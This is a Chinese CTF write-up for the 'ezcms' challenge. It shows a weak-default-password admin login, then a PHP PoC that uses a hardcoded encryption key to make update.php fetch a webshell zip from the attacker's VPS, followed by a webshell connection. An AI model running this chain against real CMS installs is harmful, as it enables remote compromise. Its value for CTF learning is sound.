ezcms
进去页面之后就是一个漫画的页面
给的有源码我们直接看
这里有个admin.php,我们访问admin.php
需要登入,我们全局搜索密码
这里有个初始密码,弱密码登入
这几个cms框架,做的最多的就是代码注入或者文件上传之类的
我们优先考虑这些找了一遍没有代码注入的地方
我们看一下文件有个update.php,这里可以文件上传
我们大概看一下逻辑
这里有个下载文件操作我们点击去看一下
这是加解密操作应该是把文件地址给解密之后进行下载
这里看一下这个type=1应该是解密,type=0应该是加密
我们可以传入恶意文件,得到shell
思路有了,我们看一下具体的实现过程
下面是获取头文件信息
这里是判断是否为zip文件,也就是说我们只能上传zip文件
我们先写个马,然后压缩之后上传到我们的vps
之后我们传入此文件,写马成功
这里我们的key可以在文件找到
最后的poc
<?php
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
$strings = 'http://vpsip/hello.zip'; //这个是恶意文件
echo(sys_auth($strings));
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
40b4yhZhNX/pqSgEYc8Uwy-sGsZlun5GGpiBH2IipHN5kFJ6SKQq4DO8JmX7NM2a1oTcLI4bk-1L6tQ
我们传入这个网址
最后我们蚁剑连接
总结
常见的cms都是要文件上传和代码注入
后记
今天上午打了那个台湾的CTF只能说人家的比赛真的好难都是几个方向联合在一起出的
一道web题
考的还是rclone这个当时就了解了一下,题是真的不会做
附件给一下可以本地搭建一下